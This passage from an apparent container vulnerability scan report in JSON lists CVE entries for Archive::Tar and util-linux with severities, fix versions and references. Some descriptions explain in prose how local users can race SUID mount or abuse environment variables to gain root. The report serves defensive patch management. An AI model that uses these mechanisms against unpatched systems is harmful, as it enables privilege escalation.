12-byte size field in the tar header with no upper bound on that value.\n\nA crafted header declaring a multi-gigabyte size causes Perl to allocate a scalar of that size.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/4", "https://access.redhat.com/errata/RHSA-2026:49525", "https://access.redhat.com/security/cve/CVE-2026-9538", "https://bugzilla.redhat.com/2481315", "https://bugzilla.redhat.com/show_bug.cgi?id=2481315", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9538", "https://errata.almalinux.org/9/ALSA-2026-49525.html", "https://errata.rockylinux.org/RLSA-2026:49525", "https://github.com/jib/archive-tar-new/commit/f9af01426038e29d9578825a0cd3626946ab08c7.patch", "https://linux.oracle.com/cve/CVE-2026-9538.html", "https://linux.oracle.com/errata/ELSA-2026-49525.html", "https://lists.security.metacpan.org/cve-announce/msg/40396448/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.10/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-9538", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-9538" ], "PublishedDate": "2026-05-26T02:16:41.15Z", "LastModifiedDate": "2026-07-23T11:10:00.12Z" }, { "VulnerabilityID": "CVE-2026-53612", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "util-linux@2.41-5", "PkgName": "util-linux", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "972fb85b9c9e83e7" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:52f51d262563c59fcfc06fe7adccb7f1cbe351612d3e04cc3bbc9ae2c6601db7", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "util-linux@2.41-5", "PkgName": "util-linux", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "972fb85b9c9e83e7" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d479853ea15d70405f3002c5bd72bd075a47fa272634f2d595ccd9864c6075c3", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "util-linux@2.41-5", "PkgName": "util-linux", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "972fb85b9c9e83e7" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b2b97340e2e6840df2cff96f15c19b917ef15f1765f4e2ce2911a0597823b1cf", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "util-linux@2.41-5", "PkgName": "util-linux", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "972fb85b9c9e83e7" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fcbfa19d16025373eafaae90654a0a305b0c98c56bb7742d613d000d47519939", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "util-linux@2.41-5", "PkgName": "util-linux", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "972fb85b9c9e83e7" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:89ab996f76b8efb73e77c8b01521abc6585d29b7117e82f8a226e5f72351330e", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "util-linux@2.41-5", "PkgName": "util-linux", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "972fb85b9c9e83e7" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e6a3b91447ec7e3b9b0a41a8fd5ef886ebc9873eface4b06775685ef0041f07d", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "util-linux@2.41-5", "PkgName": "util-linux", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "972fb85b9c9e83e7" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:41da2c899b061b78a5167f44171f2074ad09a8d84630930677c4de3248f51340", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop 